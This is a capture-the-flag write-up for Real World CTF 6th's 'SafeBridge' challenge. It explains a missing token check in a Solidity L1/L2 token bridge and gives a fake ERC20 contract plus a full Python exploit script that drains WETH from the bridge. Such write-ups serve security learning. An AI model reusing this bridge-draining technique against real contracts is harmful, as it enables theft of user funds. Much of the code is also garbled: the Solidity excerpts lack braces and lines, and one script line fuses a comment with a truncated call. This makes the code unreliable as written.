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Real World CTF 6th – SafeBridge


SafeBridge (Blockchain, 17 Solves)

I’ve crafted what I believed to be an ultra-safe token bridge. Don’t believe it?


This challenge is derived from Enterprise Blockchain in Paradigm CTF 2023. The CrossDomainMessenger.sendMessage() function, which can be used for sending cross-chain messages, is still publicly available. The difference is that when finalizing a cross-chain token transfer, it will verify whether the initiator of the cross-chain message is the bridge on the corresponding chain. Thus, cross-chain token transfers are only possible via L1ERC20Bridge.depositERC20() / L1ERC20Bridge.depositERC20To() and L2ERC20Bridge.withdraw() / L2ERC20Bridge.withdrawTo():

function finalizeERC20Withdrawal(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
    deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] - _amount;
    IERC20(_l1Token).safeTransfer(_to, _amount);
    emit ERC20WithdrawalFinalized(_l1Token, _l2Token, _from, _to, _amount);

modifier onlyFromCrossDomainAccount(address _sourceDomainAccount) {
    require(msg.sender == address(getCrossDomainMessenger()), "messenger contract unauthenticated");

        getCrossDomainMessenger().xDomainMessageSender() == _sourceDomainAccount,
        "wrong sender of cross-domain message"


To withdraw WETH from L1Bridge, we need to invoke the L2ERC20Bridge.withdraw() function. In _initiateWithdrawal(), l1Token is read from _l2Token. Since the _l2Token provided by users could be a custom token, then only the value of L1ERC20Bridge.deposits[weth][_l2Token] should not be less than the amount to be transferred.

function withdraw(address _l2Token, uint256 _amount) external virtual {
    _initiateWithdrawal(_l2Token, msg.sender, msg.sender, _amount);

function _initiateWithdrawal(address _l2Token, address _from, address _to, uint256 _amount) internal {
    IL2StandardERC20(_l2Token).burn(msg.sender, _amount);

    address l1Token = IL2StandardERC20(_l2Token).l1Token();
    bytes memory message;
    if (_l2Token == Lib_PredeployAddresses.L2_WETH) {
        message = abi.encodeWithSelector(IL1ERC20Bridge.finalizeWethWithdrawal.selector, _from, _to, _amount);
    } else {
        message = abi.encodeWithSelector(
            IL1ERC20Bridge.finalizeERC20Withdrawal.selector, l1Token, _l2Token, _from, _to, _amount

    sendCrossDomainMessage(l1TokenBridge, message);

    emit WithdrawalInitiated(l1Token, _l2Token, msg.sender, _to, _amount);

When initiating a transfer from L1 to L2, if _l1Token is weth, the corresponding amount of L2_WETH will be minted in L2ERC20Bridge.finalizeDeposit(). However, _l2Token may not be L2_WETH. If _l2Token is a custom token controlled by the player, not only can player obtain L2_WETH, but deposits[weth][_l2Token] will also increase:

function depositERC20(address _l1Token, address _l2Token, uint256 _amount) external virtual {
    _initiateERC20Deposit(_l1Token, _l2Token, msg.sender, msg.sender, _amount);

function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
    IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);

    bytes memory message;
    if (_l1Token == weth) { // @audit-issue no check if _l2Token is L2_WETH
        message = abi.encodeWithSelector(
            IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount
    } else {
        message =
            abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);

    sendCrossDomainMessage(l2TokenBridge, message);
    deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;

    emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);

Since deposits[weth][L2_WETH] already has a value, we can drain WETH in l1Bridge with L2_WETH and custom _l2Token.


contract FakeL2StandardERC20 is L2StandardERC20 {
    constructor(address _l1Token) L2StandardERC20(_l1Token, "FAKE", "FAKE") {}

    function mint(address _to, uint256 _amount) public override {
        _mint(_to, _amount);
import pwn
from cheb3 import Connection
from cheb3.utils import load_compiled

fake_abi, fake_bin = load_compiled('L2StandardERC20.sol', 'FakeL2StandardERC20')
challenge_abi, _ = load_compiled('Challenge.sol')
weth_abi, _ = load_compiled('WETH.sol')
l1bridge_abi, _ = load_compiled('L1ERC20Bridge.sol')
l2bridge_abi, _ = load_compiled('L2ERC20Bridge.sol')

L2_ERC20_BRIDGE = "0x420000000000000000000000000000000000baBe"
L2_WETH = "0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000"
AMOUNT = int(2e18)

HOST = ""
PORT = 1337
TOKEN = "<team-token>"
svr = pwn.remote(HOST, PORT)
svr.sendlineafter(b"token?", TOKEN)
svr.sendlineafter(b"action?", b"1")

svr.recvuntil(b"rpc endpoints:")
l1 = Connection(svr.recvline_contains(b"l1").replace(b"-", b"").strip().decode())
l2 = Connection(svr.recvline_contains(b"l2").replace(b"-", b"").strip().decode())

priv = svr.recvline_contains(b"private").split(b":")[-1].strip().decode()
challenge_addr = svr.recvline_contains(b"challenge").split(b":")[-1].strip().decode()

l1account = l1.account(priv)
l2account = l2.account(priv)

challenge = l1.contract(l1account, address=challenge_addr, abi=challenge_abi)
weth_addr = challenge.caller.WETH()
l1bridge_addr = challenge.caller.BRIDGE()

# deploy the custom token
fake = l2.contract(l2account, abi=fake_abi, bytecode=fake_bin)

# obtain L2_WETH and increase deposits[weth][fake]
weth = l1.contract(l1account, address=weth_addr, abi=weth_abi)
weth.functions.approve(l1bridge_addr, AMOUNT).send_transaction()
l1bridge = l1.contract(l1account, address=l1bridge_addr, abi=l1bridge_abi)
l1bridge.functions.depositERC20(weth_addr, fake.address, AMOUNT).send_transaction()

# withdraw, AMOUNT).send_transaction()
fake.functions.approve(L2_ERC20_BRIDGE, AMOUNT).send_transaction()
l2bridge = l2.contract(l2account, address=L2_ERC20_BRIDGE, abi=l2bridge_abi)
l2bridge.functions.withdraw(fake.address, AMOUNT).send_transaction()

l2weth = l2.contract(l2account, address=L2_WETH, abi=weth_abi)
l2weth.functions.approve(L2_ERC20_BRIDGE, AMOUNT).send_transaction()
l2bridge.functions.withdraw(L2_WETH, AMOUNT).send_transaction()

assert challenge.caller.isSolved()

svr = pwn.remote(HOST, PORT)
svr.sendlineafter(b"token?", TOKEN)
svr.sendlineafter(b"action?", b"3")

Flag: rwctf{yoU_draINED_BriD6E}